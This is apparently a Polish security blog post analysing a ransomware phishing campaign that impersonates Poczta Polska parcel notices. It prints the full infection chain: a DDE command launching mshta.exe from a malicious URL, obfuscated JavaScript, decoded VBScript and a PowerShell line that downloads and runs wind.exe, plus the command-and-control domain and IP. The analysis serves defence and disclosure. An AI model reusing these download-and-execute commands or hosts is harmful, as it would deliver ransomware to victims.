Historia kołem się toczy, czyli powrót ataków z motywem Poczty Polskiej

Dość rzadko zdarza się nam znaleźć złośliwego emaila, o którym możemy powiedzieć, że już go gdzieś widzieliśmy. Większość przestępców zmienia swoje wzory ataków – czasem jednak nas zaskakują wracając do szablonów sprzed miesięcy.

Kampania ransomware Vortex/Flotera autorstwa Thomasa jest w pełnym rozkwicie. Codziennie trafiają do nas różne jej próbki, ostatnio wykorzystujące w różnych konfiguracjach opisywaną przez nas kilka dni temu odkrytą przez przestępców funkcję Worda. Nie inaczej jest i tym razem, chociaż łańcuch kolejnych etapów dostarczenia malware ulega ciągłej ewolucji.

Poczta Polska – E-Powiadomienie o Awizowanej przesyłce

Wiadomość od przestępcy przychodzi pod tytułem „Poczta Polska – E-Powiadomienie o Awizowanej przesyłce” i wygląda następująco:

Jak widać przestępca nie jest geniuszem zła i w treści wiadomości popełnił trochę błędów (np. „30 październik” zamiast „30 października” , „Odbiroca” zamiast „Odbiorca”), lecz dla nas najciekawsze jest to, że już kiedyś widzieliśmy podobny szablon. Było to 26 listopada 2016, kiedy to zaobserwowaliśmy pierwszą kampanię Thomasa po dłuższej przerwie. Wówczas wiadomość wyglądała tak:

Nowa wiadomość została udoskonalona – w tekście pojawiło się imię i nazwisko prawdziwego adresata złośliwej wiadomości. Używanie prawdziwych danych osobowych odbiorców wskazuje, że przestępca korzysta z bazy danych zawierającej nie tylko adresy email, ale także imiona i nazwiska ofiar. Podobnego schematu używał także w ostatnich kampaniach, gdzie adresatami były różne firmy.

Co się dzieje w załączniku

W załączniku nowej kampanii znajduje się dokument

E-Poczta-Polska_20_10_2017.doc

który najpierw wyświetla takie okno dialogowe:

a następnie takie:

Aby zachęcić użytkownika do kliknięcia wyświetla też komunikat o treści:

Trwa ładowanie danych ze zdalnego serwera.
Potwierdź chęć aktualizacji dokumentu.

Korzystając ze „sztuczki DDE” wywołuje (po dwukrotnym kliknięciu wprowadzonego w błąd użytkownika) polecenie

C:\Programs\Microsoft\Office\MSword.exe\..\..\..\..\windows\system32\mshta.exe http://dantall.bdl.pl/zdjecia/DANE.doc/aktualizacjadanychbrw.htm

Tak skonstruowana ścieżka powoduje, że w komunikacie Worda pokazuje się MSWord.exe zamiast mstha.exe. Pod adresem wskazanym w poleceniu znajduje się fragment zaciemnionego JavaScriptu

<script type='text/javascript'><script type='text/javascript'><!--var s="=tdsjqu!mbohvbhf>#wctdsjqu#?Ejn!Npojlb!;!Ejn!uzhszt!;!TfU!Npojlb!>!dsfbufpckfdu!)!#xtdsJQu/tIFMm#!*!;!uzhszt!>!#!qpxfstifmm/fyf!.FyfDVuJpoQpmJdZ!czqbtt!!.XJOepxTUZMF!ijeeFo!.FODpefedPNNBOe!VBCwBIdB[RCzBGNBbBCmBHxBcBBhBD1BSRC5BHVBZxC2BIRBbRCwBH5BVBCwBHxBbRCkBIlBJBCjBIlBdBCiBINBdxBhBD1BchCwBIBBdhCwBHZBbRCtBHVBJBBuBIdBbRCvBHRBcxC4BINBeBC6BHxB[RBhBH1BbRCvBHlBcRCqBIpB[RClBDBBMRCkBH9BcRCuBHFBchClBDBBLBCPBHVBexBuBF9BZhCrBHVBZxC1BDBBVxC6BINBeBCmBH1BMhCPBHVBeBBvBGdB[RCjBFNBcBCqBHVBchC1BDlBMhCFBH9BexCvBHxBcxCiBHRBShCqBHxB[RBpBDdBbBC1BIRBdBB7BD9BMxClBHFBchC1BHFBcBCtBD5BZhClBHxBMhCxBHxBMxC7BHRBbhCmBHNBbRCiBD9BexCqBH5B[BBvBHVBfBCmBDdBMBBeJDRB[RCvBIZBPhCCBGBBVBCFBFFBWBCCBGxBexCqBH5B[BBvBHVBfBCmBC1hLRB8BGNBeBCiBIJBeBBuBGBBdhCwBHNB[RC{BINBJBBpBC1hKBCmBH5BehB7BFFBVBCRBFRBRRCVBFFBYBC4BHlBchClBD5B[RC5BHVBITBqBB>>!#!;!Npojlb/SVO!DIs!)!45!*!!Npojlb/fYQboEfoWJspOnFoutUSjOHT)!#&DPNTqFD&#!*!!dIS!)!45!*!!DIs!)!45!*!!#0d!#!!uzhszt!!dis!)!45!*!-!1!;!TFu!Npojlb!>!OPUIJoH=0tdsjqu?";m=""; for (i=0; i<s.length; i++) { if(s.charCodeAt(i) == 28){ &nbsp; m+= '&';} else if (s.charCodeAt(i) == 23) { &nbsp; m+= '!';} else { &nbsp; m+=String.fromCharCode(s.charCodeAt(i)-1); }}document.write(m);//--></script>

który pod odciemnieniu daje kod VBScript:

< script language = "vbscript" > Dim Monika: Dim tygrys: SeT Monika = createobject("wscrIPt.sHELl"): tygrys = " powershell.exe -ExeCUtIonPolIcY bypass -WINdowSTYLE hiddEn -ENCodedcOMMANd UABvAHcAZQByAFMAaABlAGwAbAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABiAHkAcABhAHMAcwAgAC0AbgBvAHAAcgBvAGYAaQBsAGUAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAG0AaQBuAGkAbQBpAHoAZQBkACAALQBjAG8AbQBtAGEAbgBkACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBkAGEAbgB0AGEAbABsAC4AYgBkAGwALgBwAGwALwB6AGQAagBlAGMAaQBhAC8AdwBpAG4AZAAuAGUAeABlACcALAAdICQAZQBuAHYAOgBBAFAAUABEAEEAVABBAFwAdwBpAG4AZAAuAGUAeABlAB0gKQA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAoAB0gJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXAB3AGkAbgBkAC4AZQB4AGUAHSApAA== ": Monika.RUN CHr(34) & Monika.eXPanDenVIroNmEntsTRiNGS("%COMSpEC%") & cHR(34) & CHr(34) & "/c " & tygrys & chr(34),
0: SEt Monika = NOTHInG < /script>

zawierający polecenie PowerShella, które po odciemnieniu daje:

PowerShell -ExecutionPolicy bypass -noprofile -windowstyle minimized -command (New-Object System.Net.WebClient).DownloadFile('http://dantall.bdl.pl/zdjecia/wind.exe', $env:APPDATA\wind.exe );Start-Process ( $env:APPDATA\wind.exe )

W pliku wind.exe znajduje się docelowy złośliwy kod, czyli wspomniany na początku wpisu ransomware. Złośnik kontaktuje się z serwerem

e-xbau.pl (82.221.129.19)

w celu pobrania klucza szyfrującego i przesłania informacji o udanej infekcji.